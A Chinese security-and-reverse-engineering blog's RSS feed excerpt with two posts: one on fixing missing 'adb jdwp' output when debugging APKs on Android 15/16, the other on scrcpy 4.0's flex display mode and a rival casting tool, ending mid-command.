<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>软件安全与逆向分析</title>
    <link>https://wechat2rss.xlab.app/feed/021e3a28dfa435253d1b5610e6678205ea0919b6.xml</link>
    <description>分享最前沿的软件安全与逆向分析技术与资讯。包括Windows、macOS、iOS、Android、Linux等平台。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (软件安全与逆向分析)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7Gka279vlRGZfQGVKG8Oy8HvZaSibRVWYqwI8g4X7tsbA/0</url>
      <title>软件安全与逆向分析</title>
      <link>https://wechat2rss.xlab.app/feed/021e3a28dfa435253d1b5610e6678205ea0919b6.xml</link>
    </image>
    <item>
      <title>解决一个安卓15/16调试APK运行adb jdwp无输出的问题</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485221&amp;idx=1&amp;sn=896b232e993d35f05c40f2d4f54cdb3b</link>
      <description>解决一个安卓15/16调试APK运行adb jdwp无输出的问题</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-05-14 15:35</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=26a27cb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeT9APTwTdt7AmJuDcvrIdMAHSE9eKq2pK3ntDAkHYNZeNP5Nq6AN5pnyEgOswv5pDqwIsAbw6ZWcqg79tq2Yq84pibUEamyKZsSo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>解决一个安卓15/16调试APK运行adb jdwp无输出的问题</p>
  <p><span leaf="">这个问题的起源是一个安卓学员发现在一台Pixel6的安卓16设备上，调试debugable的APK程序时，adb jdwp无输出的问题。不能打印jdwp端口，就没办法adb forward转发后开IDA的调试。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001566" data-ratio="1.1943734015345269" data-s="300,640" type="block" data-type="png" data-w="782" src="https://wechat2rss.xlab.app/img-proxy/?k=4e6f6a65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeT8uclD0Y3RGvibibfVBe076R51sibxPKLuhvjRyaguq2I42RNzNdMiccjsdn8tWJJVRUGl1YdJXnibu1fhEFAqx65oFK7QLcRKgeuU8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="powershell"><code><span leaf="">指令流程</span></code><br/><code><span leaf="">	adb install app<span class="code-snippet__literal">-release</span>.apk</span></code><br/><code><span leaf="">	adb shell am <span class="code-snippet__built_in">start</span> <span class="code-snippet__literal">-D</span> <span class="code-snippet__literal">-n</span> com.example.ctf/.MainActivity</span></code><br/><code><span leaf="">	adb shell <span class="code-snippet__built_in">ps</span> <span class="code-snippet__literal">-A</span> | grep com.example</span></code><br/><code><span leaf="">	adb jdwp</span></code><br/></pre></p><p><span leaf="">奇怪点在于16这台不行，小米的又可以。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001567" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8000edda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTicqO9c0dIUYvpxkg0aGMmZ65861rwATTEP7tfT67yfS7YLv1MWREbdDgUibczqdblgv3wO5EiaCSPkLbwCV5pVaXtsBmP9f2CjmE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">我本地测试一加ACE 3Pro的安卓15，同样是没有输出。然后，我就让他使用LLDB在安卓Termux上直接调试会更简单。</span></p><p><span leaf="">但是他还是想弄清楚这个问题的底层原理，于是他经过一翻摸索，找到了原因。并把方案告诉了我。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001568" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3b497d42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT9v12jhCz9s5dXKytJniaHt2wlicd2NjSf21BDic0lozV8x0z12njpfuichnqn6vibc58OKna7y5iaicUEubn9YicuJ4vtnbWBiaQMr8QmI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001569" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ec443c86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT8zdUvpmCk9xrmRvc6r1KGbKq0NU0pLrDLP0ocpaJTF7hx8BQ9EwXnZ0g9vKq8gAXn9a6u2SCXZ8jFLmNFnTPuATvOOM60PUX8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><a href="https://android.googlesource.com/platform/packages/modules/adb/+/refs/heads/android15-s1-release/libs/adbconnection/adbconnection_client.cpp" target="_blank">https://android.googlesource.com/platform/packages/modules/adb/+/refs/heads/android15-s1-release/libs/adbconnection/adbconnection_client.cpp</a></span></p><p><span leaf="">我本机看了下，果然有安装类似的插件，并且adbd是stopped。不过我没卸载插件，只是让adbd起来。然后测试，发现成功了！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001570" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=95d673db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeT87SMfsx9iaS0aYgRnpd9GBGhgp0giaKCXUibXPJAepVgbBpVkv0ecZGRIxPDs4Nz5NcfqwPK1JicA3Ca2cKYyyyObURhIcsXtMFicY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">不错！在此给这位学员点赞！</span></p><p><span leaf="">希望大家在遇到技术问题尝试解决时，不是像我这样第一时间考虑换方案，而是能够像他一样保持探索的精神。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e237cc26&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485221%26idx%3D1%26sn%3D896b232e993d35f05c40f2d4f54cdb3b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 May 2026 15:35:00 +0800</pubDate>
    </item>
    <item>
      <title>有意思的官方杀同人安卓投屏多窗口融合模式</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485211&amp;idx=1&amp;sn=de7f359c8d7861e8b1124667a40341b6</link>
      <description>有意思的官方杀同人安卓投屏多窗口融合模式</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-05-13 15:42</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c0ef6b27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeTibkicFG0PFOoJ1iaWsVgkG2gczXLDxic5yK2cEUElyrU6flMB75WmtibGYyvzVibz60P1gzwRFHB82smH59PoEWQcCNicGIPYkE8a3Rw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>有意思的官方杀同人安卓投屏多窗口融合模式</p>
  <blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">上一篇《iOS虚拟手机可以玩窗口化融合的越狱插件》在结尾留过一个尾巴，顺手提到安卓平台现在也有了类似的工具，会单独写一篇。这一篇就来还这个愿，只是故事比预想中还要戏剧一点。</span></p></blockquote><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">事情是这样的：X上一个的开发者推主先发了一条推，说自己刚搞完一个&#34;融合模式&#34;的安卓投屏工具，预计下周上线，欢迎大家来玩。结果没过几天，朋友告诉他scrcpy刚发布的4.0版本里加了一个几乎完全一样的功能，叫flex display。一查commit，scrcpy这边的提交功能的时间正在他发推的完不久。</span></p><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这其实是同人圈很熟悉的桥段，&#34;刚做完发完安利，官方就出了一模一样的东西&#34;。只不过这次的&#34;官方&#34;是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Genymobile</span></code><span leaf="">这个团队，他们手里那把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scrcpy</span></code><span leaf="">，已经是安卓投屏事实上的标准。整件事看下来，又好笑又值得复盘，所以才有了这一篇。</span></p><h2 data-line="8" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">同人作品AndDrive</span></h2><p data-line="10" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">先聊推主@1ittlecup搞的这个安卓投屏工具，从他给出的截图大致能拼出全貌。</span></p><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">工具叫</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AndDrive(D)</span></code><span leaf="">，介绍写得很直白，无缝连接你的Mac和Android设备。界面上有两个Tab，一个叫&#34;设备管理&#34;，一个叫&#34;应用列表&#34;，当前选中的是一台</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Pixel 8</span></code><span leaf="">，右上角有一个特别醒目的&#34;融合模式&#34;开关。下方搜索框旁边的应用列表里，显示着</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">povo2.0</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">QQ</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Shadowsocks</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Shizuku</span></code><span leaf="">这一类常用app的图标。</span></p><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001558" data-ratio="0.670490093847758" data-s="300,640" type="block" data-type="gif" data-w="959" src="https://wechat2rss.xlab.app/img-proxy/?k=0796eb1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FSq4BUsrXeTicbRGgicfukYnbJPCAJghMZMjo7fMhwD4ibI4mhBiaKeMCS4BS2U2HXPC8TeMvwIvZMwpZib7DumK2KaiaBsfc03fEJFic97ANljDQ3M%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></span></p><p data-line="14" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">也就是说，它要做的并不是把整个Android手机屏幕投到Mac上那种传统方案，而是把单个app以独立窗口的形态投出来。每个app就是一个Mac原生外观的窗口，可以拖、可以摆、可以叠，和iOS那边</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">的窗口化思路精神上是一致的，只是平台从越狱iOS换成了原生安卓。</span></p><p data-line="16" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">按推主的说法，这个工具基本已经做好，准备下周公开发布。从功能反推实现链路，基本可以猜到他在做这几件事：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">通过adb或者类似通道在手机端启动一个server，接收来自Mac的指令。</span></p></li><li style=""><p><span leaf="">在Android侧创建虚拟显示，把目标app拉起到虚拟display上，再截取这一块surface的画面。</span></p></li><li style=""><p><span leaf="">把surface流编码后回传到Mac端，每个虚拟display对应一个Mac窗口。</span></p></li><li style=""><p><span leaf="">反向把鼠标、键盘、剪贴板事件转发回Android侧，作用到对应的虚拟display。</span></p></li><li style=""><p><span leaf="">同步Mac窗口的尺寸变化，让虚拟display的尺寸跟着实时调整，做到所见即所得。</span></p></li></ol><p data-line="24" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这五件事，前四件是经典投屏方案的常规操作，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scrcpy</span></code><span leaf="">过去几年里基本都做过。真正卡住所有同类工具的是第五件，让虚拟display的尺寸跟着客户端窗口动态调整，而不是开始一次就锁死，这条路在Android上并不平坦。</span></p><h2 data-line="26" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">scrcpy版本4.0</span></h2><p data-line="28" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">scrcpy v4.0是2026年5月12日发布的，作者是Genymobile的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rom1v</span></code><span leaf="">。这一版的changelog长得吓人，从SDL2迁移到SDL3、加了相机变焦和手电筒控制、加了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--keep-active</span></code><span leaf="">、修了一大堆Meta Quest闪烁问题。但站在这次故事的视角，里面最关键的一句只是这一行：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="30" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">Add flex display support (<a class="wx_topic_link" topic-id="mp3qqckd-8xmzod" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6772</a>)</span></code></pre><p data-line="34" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">按官方说法，虚拟display现在可以打上&#34;flex&#34;标记，使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--flex-display</span></code><span leaf="">或者短选项</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-x</span></code><span leaf="">开启，开启之后虚拟display就能随着客户端窗口的大小动态resize。再配合</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--start-app</span></code><span leaf="">这一类参数，就能直接把单个Android app拉起到一个可以自由缩放的桌面窗口里。</span></p><p data-line="36" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">官方的demo命令本身就很有代表性：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="38" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">scrcpy --new-display=/192 -x --start-app=org.mozilla.firefox --keep-active --no-vd-system-decorations</span></code></pre><p data-line="42" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这一行命令做的事情是，创建一个dpi为192的新虚拟display，启用flex模式，在这个display上拉起Firefox，保持设备活跃，并且不绘制虚拟display的系统装饰。最终效果就是Mac桌面上多出一个看起来就像原生窗口的Firefox for Android，可以随便拖、随便缩。</span></p><p data-line="44" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">官方文档里给出的其他玩法也都简单直接：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="46" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 启动安卓系统设置,固定初始尺寸为1024x768、dpi 160</span></span><br/><span leaf="">scrcpy --new-display=1024x768/160 --start-app=com.android.settings --flex-display</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 默认尺寸是1280x960,dpi是160</span></span><br/><span leaf="">scrcpy 